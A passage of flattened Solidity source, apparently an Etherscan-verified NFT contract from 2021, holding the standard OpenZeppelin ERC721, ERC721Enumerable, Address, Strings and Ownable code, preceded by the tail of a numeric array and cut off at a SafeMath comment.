1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-09-21
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
